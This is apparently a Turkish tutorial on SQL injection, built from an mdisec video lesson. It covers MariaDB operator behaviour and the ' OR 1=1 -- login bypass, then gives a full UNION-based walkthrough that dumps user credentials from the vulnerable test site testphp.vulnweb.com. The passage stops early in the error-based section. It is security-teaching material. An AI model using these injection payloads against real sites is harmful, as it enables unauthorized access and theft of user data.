Web Security 101 0x01 | SQL Injection'ı Bütünüyle Anlamak MDISEC
SQL Injection nedir ve nasıl çalışır? Bu makalede SQL enjeksiyon açıklarını tanıyacak ve savunma tekniklerini öğreneceksiniz.
📝 Önsöz & Yasal Uyarı
Yasal Uyarı: Bu yazı, yalnızca eğitim amaçlıdır. Burada öğrenilen bilgilerin kötüye kullanılması yasalara aykırıdır. Lütfen bu bilgileri yalnızca güvenlik eğitimi ve savunma amaçlı kullanın. Kötü niyetli kullanımlar yasal sonuçlar doğurabilir.
Bu yazı, güvenliğimizi sağlamak için yazılmıştır. Mehmet İnce’nin (mdisec)
Web Security 101 0x01 | SQL Injection'ı Bütünüyle Anlamak
adlı eğitiminden (twitch | youtube) öğrenilen bilgilerin derlenmiş toparlanmış blog haline getirilmiş halidir.Daha iyi bir deneyim için videoyu izleyerek ve kendi notlarınızı çıkararak (özellikle a4 kağıdı ve mavi tükenmez kalem kullanarak) öğrenmeniz şiddetle önerilir (ben tarafından).
Aklınıza takılan yerler olunca ya da tekrar etmek istediğinizde bu sayfayı yer imlerinize ekleyip oradan bir tıkla bakmanız tavsiye olunur (yine ben tarafından). Aşağıda video var, iyi Seyirler, iyi okumalar, iyi öğrenmeler…
🧭 Bölüm 0: Giriş - Neden SQL Injection Önemlidir?
Web dünyasında milyonlarca uygulama, kullanıcıdan gelen verileri işleyerek veritabanlarında saklamaktadır. Ancak bu süreçlerde güvenlik göz ardı edilirse ciddi açıklar oluşabilmektedir. Bu açıklardan en tanınmışı olan SQL Injection, sadece verilerin çalınmasına değil, aynı zamanda sistemlerin tamamen ele geçirilmesine de yol açabilir.
Bu yazıda, canlı bir eğitim videosundan derlenmiş içerikle birlikte, SQL Injection’un ne olduğu, nasıl çalıştığı ve bu açıklara karşı nasıl korunabileceğiniz konusunda adım adım bilgiler sunacağız.
Not: Eğer laboratuvar ortamınızda MariaDB/MySQL kurulumuna ihtiyacınız varsa, adım adım anlatım için Install & Uninstall MariaDB (MySQL) on Kali Linux: Complete Tutorial makalesine göz atabilirsiniz.
🔍 Bölüm 1: SQL Injection Nedir?
SQL Injection (SQL Enjeksiyonu), bir saldırganın veritabanı sorgularını manipüle ederek sisteme yetkisiz erişim sağladığı kritik güvenlik açıklarından biridir. Bu saldırı türü, özellikle kullanıcıdan alınan girdilerin doğru şekilde doğrulanmadığı ve filtrelenmediği web uygulamalarında yaygın olarak görülür.
🔧 Servisi Başlatalım
1
2
┌──(fr0stb1rd㉿kali)-[~]
└─$ sudo systemctl start mariadb
🔑 Giriş Yapalım
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(fr0stb1rd㉿kali)-[/home/kali]
└─# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 31
Server version: 11.8.1-MariaDB-4 Debian n/a
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
📚 Temel Kavramlar
SQL (Structured Query Language), veritabanlarıyla iletişim kurmak için kullanılan bir programlama dilidir. Web uygulamaları genellikle kullanıcı girişlerini bu SQL sorgularına yerleştirerek veri alır veya gönderir. Ancak bu süreçte:
- Girdiler kontrolsüz ise
- Saldırgan özel karakterler kullanarak sorguyu değiştirebiliyorsa
- Veritabanı doğrudan etkileşime açıksa
saldırganlar kritik bilgilere ulaşabilir, verileri silebilir, değiştirebilir hatta tamamen ele geçirebilir.
🎯 Gerçek Bir Örnek
Aşağıdaki gibi basit bir oturum açma ekranı düşünelim:
1
SELECT * FROM users WHERE username = 'admin' AND password = '123456';
Saldırgan burada şu şekilde bir giriş yaparsa:
1
2
Username: admin
Password: ' OR 1=1 --
Bu durumda oluşan SQL sorgusu şu şekilde olur:
1
SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1 -- ';
Bu sorguda ' OR 1=1 --
ifadesi nedeniyle sorgu her zaman doğru döner ve saldırgan sistemdeki kullanıcıya erişim sağlar. Bu olay, Authentication Bypass (kimlik doğrulama atlatma) olarak bilinir.
⚠️ Neden Önemlidir?
SQL Injection açıkları, saldırganlara şu yetkileri sunabilir:
Yetki | Açıklama |
---|---|
Veri Okuma | Kullanıcı bilgileri, şifreler, kredi kartları vb. |
Veri Değiştirme | Tablo içeriğini değiştirme, silme veya ekleme |
Yönetici Erişimi | Tam kontrol hakkı kazanma |
Sunucuya Erişim | Uzaktan kod çalıştırma |
Bu yüzden SQL Injection, OWASP Top 10 listesinde uzun yıllardır yer almaktadır.
💾 Bölüm 2: Veritabanı Davranışlarını Anlamak
SQL Injection’ı tam olarak anlayabilmek için öncelikle veritabanı sistemlerinin nasıl çalıştığını ve SQL sorgularının nasıl işlendiğini bilmek gerekir. Bu bölümde, MySQL üzerinde yapılan pratik örneklerle veritabanı davranışlarını inceleyeceğiz.
🧪 Temel SQL Sorguları ve Davranışları
🔢 Basit sayı seçimi
1
SELECT 1;
Terminal çıktısı:
1
2
3
4
5
+---+
| 1 |
+---+
| 1 |
+---+
Açıklama: Bu en basit SQL sorgusu, sadece 1 sayısını seçer ve döndürür. Genellikle veritabanı bağlantısını test etmek için kullanılır.
✖️ Çarpma işlemi
1
SELECT 1*1;
Terminal çıktısı:
1
2
3
4
5
+------+
| 1*1 |
+------+
| 1 |
+------+
Açıklama: MariaDB, temel matematiksel işlemleri doğrudan destekler. 1 ile 1’in çarpımı sonucu 1 döner.
➖ Çıkarma işlemi
1
SELECT 2-1;
Terminal çıktısı:
1
2
3
4
5
+------+
| 2-1 |
+------+
| 1 |
+------+
Açıklama: Çıkarma işlemi de matematiksel olarak doğru şekilde işlenir. 2’den 1 çıkarıldığında sonuç 1 olur.
➕ Toplama işlemi
1
SELECT 1+1;
Terminal çıktısı:
1
2
3
4
5
+------+
| 1+1 |
+------+
| 2 |
+------+
Açıklama: Toplama işlemi de matematiksel olarak doğru şekilde işlenir. 1 ile 1’in toplamı 2’dir.
📝 String işlemi
1
SELECT 'test';
Terminal çıktısı:
1
2
3
4
5
+------+
| test |
+------+
| test |
+------+
Açıklama: Tek tırnak içindeki değerler string olarak işlenir ve olduğu gibi döndürülür.
🔄 String’den sayıya dönüşüm
1
SELECT '2'-'1';
Terminal çıktısı:
1
2
3
4
5
+-----------+
| '2'-'1' |
+-----------+
| 1 |
+-----------+
Açıklama: MariaDB, string içindeki sayısal değerleri otomatik olarak sayıya çevirir. ‘2’ ve ‘1’ stringleri sayıya dönüştürülüp çıkarma işlemi yapılır.
🔤 String ve sayı işlemi
1
SELECT 'a'+2;
Terminal çıktısı:
1
2
3
4
5
+---------+
| 'a'+2 |
+---------+
| 2 |
+---------+
Açıklama: ‘a’ harfi sayıya çevrilemediği için 0 olarak değerlendirilir. 0+2=2 sonucu döner.
🔗 String birleştirme (|| mantıksal OR)
1
SELECT 'a'||'b';
Terminal çıktısı:
1
2
3
4
5
+-----------+
| 'a'||'b' |
+-----------+
| 1 |
+-----------+
Açıklama: || operatörü MariaDB’de mantıksal OR işlemi olarak kullanılır. String’ler sayıya çevrilmeye çalışılır ve OR işlemi yapılır.
🔄 CONCAT fonksiyonu ile string birleştirme
1
SELECT CONCAT('a','b');
Terminal çıktısı:
1
2
3
4
5
+------------------+
| CONCAT('a','b') |
+------------------+
| ab |
+------------------+
Açıklama: CONCAT fonksiyonu stringleri birleştirmek için özel olarak tasarlanmıştır ve doğru şekilde ‘ab’ sonucunu döndürür.
🔀 Karmaşık işlem (mantıksal OR ve çıkarma)
1
SELECT '2'||'1'-1;
Terminal çıktısı:
1
2
3
4
5
+---------------+
| '2'||'1'-1 |
+---------------+
| 0 |
+---------------+
Açıklama: İşlem önceliği nedeniyle önce ‘1’-1 işlemi yapılır (0), sonra ‘2’||0 mantıksal OR işlemi yapılır.
🔮 Bitwise XOR işlemi
1
SELECT 2^1;
Terminal çıktısı:
1
2
3
4
5
+------+
| 2^1 |
+------+
| 3 |
+------+
Açıklama: ^ operatörü bit düzeyinde XOR işlemi yapar. 2 (10) ve 1 (01) sayılarının XOR’u 3 (11) olur.
❌ Mantıksal işlem (NOT)
1
SELECT NOT 1;
Terminal çıktısı:
1
2
3
4
5
+--------+
| NOT 1 |
+--------+
| 0 |
+--------+
Açıklama: NOT operatörü boolean değerlerin tersini alır. 1 (true) değerinin NOT’u 0 (false) olur.
✅ Mantıksal işlem (NOT 0)
1
SELECT NOT 0;
Terminal çıktısı:
1
2
3
4
5
+--------+
| NOT 0 |
+--------+
| 1 |
+--------+
Açıklama: 0 (false) değerinin NOT’u 1 (true) olur.
⚖️ Eşitlik kontrolü
1
SELECT 1=1;
Terminal çıktısı:
1
2
3
4
5
+------+
| 1=1 |
+------+
| 1 |
+------+
Açıklama: Eşitlik kontrolü true döndüğünde 1, false döndüğünde 0 değerini verir. 1=1 true olduğu için 1 döner.
🔄 Tip dönüşümü ile eşitlik
1
SELECT 1='1';
Terminal çıktısı:
1
2
3
4
5
+--------+
| 1='1' |
+--------+
| 1 |
+--------+
Açıklama: MariaDB, string içindeki sayısal değeri otomatik olarak sayıya çevirir ve karşılaştırma yapar.
❌ Yanlış tip ile eşitlik
1
SELECT 1='a';
Terminal çıktısı:
1
2
3
4
5
+--------+
| 1='a' |
+--------+
| 0 |
+--------+
Açıklama: ‘a’ harfi sayıya çevrilemediği için 0 olarak değerlendirilir ve 1=0 karşılaştırması false döner.
⚪ NULL karşılaştırması
1
SELECT NULL = NULL;
Terminal çıktısı:
1
2
3
4
5
+--------------+
| NULL = NULL |
+--------------+
| NULL |
+--------------+
Açıklama: NULL değerlerle yapılan karşılaştırmalar her zaman NULL döner. Bu, SQL’in üç değerli mantık sisteminin bir parçasıdır.
🔄 NULL yerine değer kullanımı
1
SELECT IFNULL(NULL, 'empty');
Terminal çıktısı:
1
2
3
4
5
+----------------------+
| IFNULL(NULL, 'empty')|
+----------------------+
| empty |
+----------------------+
Açıklama: IFNULL fonksiyonu, ilk parametre NULL ise ikinci parametreyi döndürür.
📏 String uzunluğu
1
SELECT LENGTH('test');
Terminal çıktısı:
1
2
3
4
5
+-----------------+
| LENGTH('test') |
+-----------------+
| 4 |
+-----------------+
Açıklama: LENGTH fonksiyonu string’in karakter sayısını döndürür.
⚠️ Sıfıra bölme
1
SELECT 1/0;
Terminal çıktısı:
1
2
3
4
5
+------+
| 1/0 |
+------+
| NULL |
+------+
Açıklama: MariaDB’de sıfıra bölme işlemi hata vermek yerine NULL döndürür.
🔄 Mantıksal AND işlemi
1
SELECT 1 AND 0;
Terminal çıktısı:
1
2
3
4
5
+-----------+
| 1 AND 0 |
+-----------+
| 0 |
+-----------+
Açıklama: AND operatörü her iki değer de true (1) olduğunda 1, diğer durumlarda 0 döner.
🔄 Mantıksal OR işlemi
1
SELECT 1 OR 0;
Terminal çıktısı:
1
2
3
4
5
+----------+
| 1 OR 0 |
+----------+
| 1 |
+----------+
Açıklama: OR operatörü değerlerden en az biri true (1) olduğunda 1, her ikisi de false (0) olduğunda 0 döner.
📝 String olarak matematiksel ifade
1
SELECT '2-1';
Terminal çıktısı:
1
2
3
4
5
+------+
| 2-1 |
+------+
| 2-1 |
+------+
Açıklama: Tek tırnak içindeki ifadeler string olarak işlenir, matematiksel işlem yapılmaz.
🔢 String’den sayıya çıkarma
1
SELECT '2'-'1';
Terminal çıktısı:
1
2
3
4
5
+-----------+
| '2'-'1' |
+-----------+
| 1 |
+-----------+
Açıklama: MariaDB, string içindeki sayısal değerleri otomatik olarak sayıya çevirir ve matematiksel işlem yapar.
➕ String’den sayıya toplama
1
SELECT '2'+'1';
Terminal çıktısı:
1
2
3
4
5
+-----------+
| '2'+'1' |
+-----------+
| 3 |
+-----------+
Açıklama: String içindeki sayısal değerler otomatik olarak sayıya çevrilir ve toplama işlemi yapılır.
🔤 String ve harf toplama
1
SELECT '2'+'a';
Terminal çıktısı:
1
2
3
4
5
+-----------+
| '2'+'a' |
+-----------+
| 2 |
+-----------+
Açıklama: ‘a’ harfi sayıya çevrilemediği için 0 olarak değerlendirilir, 2+0=2 sonucu döner.
🔤 İki harf toplama
1
SELECT 'b'+'a';
Terminal çıktısı:
1
2
3
4
5
+-----------+
| 'b'+'a' |
+-----------+
| 0 |
+-----------+
Açıklama: Her iki harf de sayıya çevrilemediği için 0 olarak değerlendirilir, 0+0=0 sonucu döner.
🔗 Yan yana stringler
1
SELECT '2' '1';
Terminal çıktısı:
1
2
3
4
5
+------+
| 2 1 |
+------+
| 21 |
+------+
Açıklama: MariaDB, arka arkaya yazılan stringleri otomatik olarak birleştirir.
🔗 Yan yana üç string
1
SELECT '2' '1' 'a';
Terminal çıktısı:
1
2
3
4
5
+------+
| 2 1 a|
+------+
| 21a |
+------+
Açıklama: Üç string de otomatik olarak birleştirilir.
🔀 Yan yana üç string ve matematiksel işlem
1
SELECT '2' '1' 'a'-1;
Terminal çıktısı:
1
2
3
4
5
+--------------+
| 2 1 a-1 |
+--------------+
| 0 |
+--------------+
Açıklama: Önce stringler birleştirilir (‘21a’), sonra sayıya çevrilmeye çalışılır (0), ardından 1 çıkarılır.
🔮 Bitwise XOR işlemi (aynı sayılar)
1
SELECT 2^2;
Terminal çıktısı:
1
2
3
4
5
+------+
| 2^2 |
+------+
| 0 |
+------+
Açıklama: Aynı sayıların XOR’u her zaman 0’dır çünkü aynı bitler XOR’landığında 0 olur.
❌ Mantıksal NOT işlemi (!)
1
SELECT !1;
Terminal çıktısı:
1
2
3
4
5
+----+
| !1 |
+----+
| 0 |
+----+
Açıklama: ! operatörü boolean değerlerin tersini alır. 1’in NOT’u 0’dır.
🔄 Bitwise NOT işlemi (~)
1
SELECT ~1;
Terminal çıktısı:
1
2
3
4
5
+----+
| ~1 |
+----+
| -2 |
+----+
Açıklama: ~ operatörü bit düzeyinde NOT işlemi yapar. 1’in tüm bitleri ters çevrilir ve sonuç -2 olur (ikili tamamlayıcı gösterim).
🔗 CONCAT ile sayıları birleştirme
1
SELECT CONCAT('2', '1');
Terminal çıktısı:
1
2
3
4
5
+------------------+
| CONCAT('2', '1') |
+------------------+
| 21 |
+------------------+
Açıklama: CONCAT fonksiyonu, string olarak verilen sayıları birleştirir ve sonuç olarak ‘21’ string’ini döndürür.
🧪 Veritabanı Davranışlarını Anlamak: Test Ortamı Hazırlama
📦 Veritabanı Oluşturma
mdisecsql
adında yeni bir veritabanı oluşturalım. Bu veritabanı, SQL Injection örneklerimiz için test ortamı olarak kullanılacak.
1
2
3
4
MariaDB [(none)]> create database mdisecsql;
Query OK, 1 row affected (0.016 sec)
MariaDB [mdisecsql]>
🔌 Veritabanını Aktifleştirme
use mdisecsql
komutu ile oluşturduğumuz veritabanını aktif hale getirelim.
1
2
3
4
MariaDB [(none)]> use mdisecsql;
Database changed
MariaDB [mdisecsql]>
📋 Users Tablosunu Oluşturma
Bu tablo aşağıdaki alanlardan oluşacak:
id
: Otomatik artan birincil anahtar (6 haneli unsigned integer)firstname
: Boş bırakılamayan 30 karakterlik metin alanılastname
: Boş bırakılamayan 30 karakterlik metin alanı
1
2
3
4
MariaDB [mdisecsql]> CREATE TABLE users (id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY,firstname VARCHAR(30) NOT NULL, lastname VARCHAR(30) NOT NULL);
Query OK, 0 rows affected (0.015 sec)
MariaDB [mdisecsql]>
➕ Test Kaydı Ekleme
Tabloya test amaçlı bir kayıt ekleyelim.
1
2
3
4
MariaDB [mdisecsql]> INSERT INTO users (firstname, lastname) VALUES ('fr0st','b1rd');
Query OK, 1 row affected (0.001 sec)
MariaDB [mdisecsql]>
✅ Kayıt Doğrulama
Eklediğimiz kaydı kontrol edelim.
1
2
3
4
5
6
7
8
9
MariaDB [mdisecsql]> select * from users;
+----+-----------+----------+
| id | firstname | lastname |
+----+-----------+----------+
| 1 | fr0st | b1rd |
+----+-----------+----------+
1 row in set (0.000 sec)
MariaDB [mdisecsql]>
🔄 Boşluklu Kullanıcılar Ekleme
Farklı boşluk karakterleri içeren kullanıcılar ekleyelim.
1
2
3
4
5
6
7
8
9
10
MariaDB [mdisecsql]> INSERT INTO users (firstname, lastname) VALUES ('fr0st ','b1rd');
Query OK, 1 row affected (0.007 sec)
MariaDB [mdisecsql]> INSERT INTO users (firstname, lastname) VALUES ('fr0st ','b1rd');
Query OK, 1 row affected (0.001 sec)
MariaDB [mdisecsql]> INSERT INTO users (firstname, lastname) VALUES ('fr0st ','b1rd');
Query OK, 1 row affected (0.001 sec)
MariaDB [mdisecsql]>
📊 Tüm Kayıtları Listeleme
Eklediğimiz tüm kayıtları kontrol edelim.
1
2
3
4
5
6
7
8
9
10
11
12
MariaDB [mdisecsql]> select * from users;
+----+-----------+----------+
| id | firstname | lastname |
+----+-----------+----------+
| 1 | fr0st | b1rd |
| 2 | fr0st | b1rd |
| 3 | fr0st | b1rd |
| 4 | fr0st | b1rd |
+----+-----------+----------+
4 rows in set (0.000 sec)
MariaDB [mdisecsql]>
Gördüğünüz gibi, görünüşte aynı olan kayıtlar aslında farklı:
- İlk kayıt:
fr0st
- İkinci kayıt:
fr0st
(sonunda bir boşluk) - Üçüncü kayıt:
fr0st
(sonunda iki boşluk) - Dördüncü kayıt:
fr0st
(sonunda üç boşluk)
🔍 Firstname Filtresine Göre Listeleme
Şimdi firstname='fr0st'
filtresi ile sorgulama yapalım.
1
2
3
4
5
6
7
8
9
10
11
12
MariaDB [mdisecsql]> SELECT * FROM users WHERE firstname='fr0st';
+----+-----------+----------+
| id | firstname | lastname |
+----+-----------+----------+
| 1 | fr0st | b1rd |
| 2 | fr0st | b1rd |
| 3 | fr0st | b1rd |
| 4 | fr0st | b1rd |
+----+-----------+----------+
4 rows in set (0.001 sec)
MariaDB [mdisecsql]>
İlginç bir durumla karşılaştık! Tüm kayıtlar listelendi. Bu durumun siber güvenlik açısından ciddi etkileri vardır. Örneğin, sistemde “fr0st” adında bir admin kullanıcısı olduğunu düşünelim. Veritabanına yeni bir kullanıcı eklerken, sadece "fr0st "
(sonunda boşluk olan) şeklinde bir kayıt eklemek mümkün olabiliyor. Daha sonra “Parolamı unuttum” seçeneğiyle ilerlediğimizde, bu boşluk farkı göz ardı edilerek tüm benzer kullanıcı adlarında işlem yapılabildiği görülüyor. Bu nedenle, veritabanı davranışlarını anlamak, SQL injection gibi saldırı türlerini kavramanın temelini oluşturur.
Şimdi SQL Injection türlerini ele alalım.
🎯 Bölüm 3: SQL Injection Türleri
SQL Injection saldırıları, farklı teknikler ve yaklaşımlarla gerçekleştirilebilir. Bu bölümde en yaygın SQL Injection türlerini ve bunların nasıl çalıştığını inceleyeceğiz.
1. 🔗 UNION Based SQL Injection
UNION based SQL Injection, en yaygın ve etkili SQL Injection türlerinden biridir. Bu teknik, mevcut sorguya UNION operatörü kullanarak yeni bir sorgu eklememize olanak sağlar.
🎯 Örnek Senaryo
Bir web uygulamasının haber detay sayfasını düşünelim:
1
2
3
4
5
6
7
8
9
10
# Backend Kod Yapısı (Tahmini)
id = request.get('id')
query = "SELECT * FROM haberler WHERE id=" + id
result = db.execute(query)
if result.size() > 0:
for i in result:
print(i.title)
else:
print("haber yok")
🔄 Normal Kullanım
Normal bir kullanıcı şu şekilde bir istek yapar:
1
fr0stb1rd.gitlab.io/?id=1
Bu istek şu SQL sorgusunu oluşturur:
1
SELECT * FROM haberler WHERE id=1;
Ve sonuç olarak “MDISEC” başlıklı haberi görüntüler.
🔍 SQL Injection Tespiti
Saldırgan, matematiksel işlemler kullanarak veritabanının davranışını test eder:
1
fr0stb1rd.gitlab.io/?id=2-1
Bu istek şu SQL sorgusunu oluşturur:
1
SELECT * FROM haberler WHERE id=2-1;
Eğer sonuç yine “MDISEC” ise, veritabanının matematiksel işlemleri desteklediğini ve SQL Injection’a açık olduğunu anlarız.
🔗 UNION Kullanımı
Saldırgan, UNION operatörü ile yeni bir sorgu ekleyebilir:
1
SELECT * FROM haberler WHERE id=1 UNION SELECT * FROM ???
Ancak burada iki önemli kısıtlama vardır:
- UNION kullanılan sorgularda kolon sayıları eşit olmalıdır
- Veri tipleri uyumlu olmalıdır
🔎 SQL Injection Tespit ve Sömürü Süreci
SQL Injection saldırıları genellikle iki temel adımdan oluşur:
- Zafiyetin Tespiti
- Zafiyetin Sömürülmesi
Tespit etmeden sömürü mümkün değildir. Elinizde kaynak kodu varsa kodu okuyarak zafiyet tespiti yapılabilir. Ancak elimizde kod olmadığı durumlarda (ki %99 yoktur) sistemin davranışlarını izleyerek kodun yapısını da tespit edebiliriz.
📍 Referans Noktası Belirleme
Öncelikle kendimize bir referans noktası belirlemeliyiz. Örneğin:
1
SELECT * FROM haberler WHERE id = 1;
sorgusunun getirdiği “MDISEC” sonucu gibi. Veritabanına bir işlem yaptırıp referans noktamıza geri dönebiliyorsak, planladığımız işlemin veritabanında çalıştığı anlamına gelir.
🎯 Örnek Senaryo
- Normal Kullanım
- URL:
fr0stb1rd.gitlab.io/?id=1
- SQL Sorgusu:
1
SELECT * FROM haberler WHERE id = 1;
- Sonuç:
MDISEC
- URL:
- Farklı ID ile Test
- URL:
fr0stb1rd.gitlab.io/?id=2
- SQL Sorgusu:
1
SELECT * FROM haberler WHERE id = 2;
- Sonuç:
fr0stb1rd
- URL:
- Matematiksel İşlem Testi
- URL:
fr0stb1rd.gitlab.io/?id=2-1
- SQL Sorgusu:
1
SELECT * FROM haberler WHERE id = 2-1;
- Sonuç:
MDISEC
- URL:
Bu sorgu sonucunda dönen sonuç “MDISEC” ise, veritabanında çıkartma işlemi yapabildiğimiz anlamına gelir. Artık sistemdeki bu sorgu ile veritabanına direkt olarak erişimimiz varmış gibi kabul edebiliriz.
🔧 Sorgu Manipülasyonu
Her SQL Injection senaryosunda bazı engellere takılırız. Örneğin buradaki sorguda:
1
SELECT * FROM haberler WHERE id = ?
buradan sonraki kısmı değiştiremeyiz. Bizim isteğimiz ise kendi SQL sorgularımızı yazabilmek. Dolayısıyla veritabanının yapısını anlayabilmek için yapmamız gereken en önemli şeylerden biri de kendi SQL sorgumuzu yazabilmektir.
Burada veritabanında ardarda SELECT sorguları çalıştırabilmek için UNION ifadesini kullanabiliriz:
1
SELECT * FROM haberler WHERE id = 1 UNION SELECT * FROM ???
Bu yapı bize ikinci SQL sorgusunu yazabilme imkanı sunmaktadır. Ancak UNION kullandığımızda bir sınırlamaya takılırız: Kolon sayılarının aynı olması gerekmektedir.
🧪 Gerçek Test Ortamı
Test ortamımız olarak testphp.vulnweb.com adresini kullanacağız. İşlem adımlarımız şu şekilde:
- Categories bölümünden posters kısmına geçiş yapıyoruz
- http://testphp.vulnweb.com/listproducts.php?cat=1 adresinden testlerimize başlıyoruz
İlk karşılaştığımız sayfa görüntüsü:
İkinci test için http://testphp.vulnweb.com/listproducts.php?cat=2 adresini kullanıyoruz. Burada dikkat çeken noktalar:
- cat=2 parametresi ile tek bir sonuç dönüyor
- Endpoint ismi ‘listproducts’ olduğundan, veritabanında products tablosuna sorgu yapıldığını anlıyoruz
- WHERE koşulunda ‘cat’ kolonunun kullanıldığını tahmin ediyoruz
Matematiksel işlem testi için http://testphp.vulnweb.com/listproducts.php?cat=2-1 adresini deniyoruz. Önemli gözlemler:
- URL’de 2-1 işlemi yapıldığında sonuç değişmiyor
- Bu durum veritabanında matematiksel işlemlerin yapılabildiğini gösteriyor
- 2 değerinden sonra istediğimiz sorguyu yazabilme imkanımız var
UNION testi için ilk denememiz:
1
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT 1
UNION kullanımında dikkat edilmesi gerekenler:
- Sağ ve sol taraftaki sorgularda kolon sayıları eşit olmalı
- Haberler tablosundaki kolon sayısını bilmiyoruz
- SELECT 1 ifadesinin çalıştığını biliyoruz
Test sonucunda karşılaştığımız sayfa:
1
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT 1
Karşılaştığımız hata ve çözüm yolu:
- Hata: “Error: The used SELECT statements have a different number of columns”
- Sebep: Kolon sayılarının farklı olması
- Çözüm: Kolon sayılarını eşitlememiz gerekiyor
- Not: Bu tür hata mesajları genellikle kapalı olur
Kolon sayılarını eşitlediğimizde:
1
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
Önemli ipuçları:
- Zafiyet tespiti öncelikli
- 2-1 işlemi ile matematiksel işlemlerin çalıştığını doğruladık
- UNION SELECT denemelerinden önce zafiyet tespiti yapılmalı
Referans sayfamız ve test sonuçlarımız:
1
http://testphp.vulnweb.com/listproducts.php?cat=1
UNION sorgusu sonucu:
1
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
Gözlemlediğimiz önemli noktalar:
- 7-2-9 değerleri ekranda görünüyor
- Bu değerler, önceki SELECT sorgusunun 2., 7. ve 9. indislerinden geliyor
- Bu indislerde helper fonksiyonlar kullanabiliriz
Örnek sorgu:
1
SELECT * FROM haberler WHERE id = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
Helper fonksiyon testi:
1
http://testphp.vulnweb.com/listproducts.php?cat=1 UNION SELECT 1,2,3,4,5,6,version(),8,9,10,11
Veritabanı versiyonu: 8.0.22-0ubuntu0.20.04.2
Önceki sorgu sonuçlarını engelleme stratejisi:
- UNION’dan önceki SELECT sorgusunun sonuçlarını istemiyoruz
- Sadece kendi sorgularımızın sonuçlarına odaklanmak istiyoruz
- Çözüm: Var olmayan bir ID değeri kullanmak (-9999999 gibi)
Örnek:
1
SELECT * FROM haberler WHERE id = -99999999 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11
Pratik çözüm:
1
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,2,3,4,5,6,version(),8,9,10,11
Veritabanı adını öğrenme:
1
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,2,3,4,5,6,database(),8,9,10,11
Tablo yapısını inceleme:
1
SELECT * FROM haberler WHERE id = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM ?
MySQL Workbench, veritabanı bağlantılarını verdiğimizde tabloları listeliyor. Peki Bunu nasıl yapıyor? Bağlandığı veritabanına sistem sorguları göndererek tablo listesini alıyor. Aslında yaptığı şey basit bir SQL sorgusudur. Örneğin:
1
SELECT table_name FROM information_schema.tables WHERE table_schema = 'veritabani_adi';
Bu sorguyla, belirtilen veritabanındaki tüm tablo isimlerini alır. Biz de kendi uygulamamızda bu sorguyu kullanarak aynı işlemi yapabiliriz.
Tablo bilgilerini alma:
1
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,2,3,4,5,6,table_name,8,9,10,11 FROM information_schema.tables WHERE table_schema = database()
Users tablosundan veri çekme:
1
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,2,3,4,5,6,column_name,8,9,10,11 FROM information_schema.columns WHERE table_name ='users'
Kullanıcı bilgilerini çekme:
1
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,2,3,4,5,6,uname,8,9,10,11 FROM users
Veri birleştirme örneği (sqlmap benzeri):
1
http://testphp.vulnweb.com/listproducts.php?cat=-1 UNION SELECT 1,2,3,4,5,6,concat(uname,':fr0stb1rd:',pass),8,9,10,11 FROM users
Bu noktada, verdiğimiz test:fr0stb1rd:test
kelimesinin yazdırılmasını sağladık.
Bu aşamada hedef sistemin veritabanındaki kullanıcı adlarını ve şifrelerini başarılı bir şekilde dışarıya yazdırmış olduk. concat(uname,':fr0stb1rd:',pass)
ifadesi sayesinde, kullanıcı adı ve şifreyi araya özel bir ayraç ekleyerek birleştirdik. Bu, verileri sonuçlar içinde kolayca ayırt edebilmemizi sağlar.
Şimdi elimizde kullanıcı adı ve parola hash’leri varsa, bir sonraki adım bu hash’leri kırmak ya da başka sistemlerde denemek olabilir.
2. ❌ Error-based SQL Injection
Veritabanında bir sözdizimi (syntax) hatası oluştuğunda, eğer uygulamada try-except yapısı kullanılmamışsa ve hata mesajı doğrudan ekrana yansıtılıyorsa, bu durumu veri çekmek için kullanabileceğimiz başka bir yöntem haline getirebiliriz.
🚫 Hatalı Sorgu Göndererek Hata Mesajı Alma
Örneğin, bilinçli olarak hatalı bir sorgu göndererek uygulamanın hata mesajı verip vermediğini test edebiliriz. Bunun için aşağıdaki gibi bir URL’yi ziyaret edebiliriz:
http://testphp.vulnweb.com/listproducts.php?cat=1%27
Aldığımız hata:
1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
O halde, uygulamada try-except
bloğu kullanılmamış ki bu hatayı doğrudan görebiliyoruz. Bu da bize, hatalardan faydalanarak sistem hakkında bilgi edinme fırsatı veriyor. Devam edelim.
🔍 Hata Mesajlarında Kullanıcı Verisinin Görünmesi
Örneğin bu adrese gidersek:
http://testphp.vulnweb.com/listproducts.php?cat=fr0stb1rd%27fr0stb1rd
Bu şekilde mesaj dönecek:
1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''fr0stb1rd' at line 1
Bu durum aslında biraz reflected XSS mantığını andırıyor. Yazdığımız verinin doğrudan çıktıda yer almasını sağladık. Yani, fr0stb1rd
yerine istediğimiz herhangi bir değeri yazıp, onun ekranda görünmesini sağlayabiliyorsak, bu durumu veri sızdırmak için kullanabiliriz.
Mesela, veritabanından belirli bir bilgiyi elde etmek istiyoruz. O halde fr0stb1rd
yerine öyle bir şey yazmalıyız ki, hedef veritabanındaki o bilgi çıktıya yansısın. Biz de tam olarak bunun peşindeyiz.
🛠️ Egzersiz Ortamı ve Yardımcı MySQL Fonksiyonları
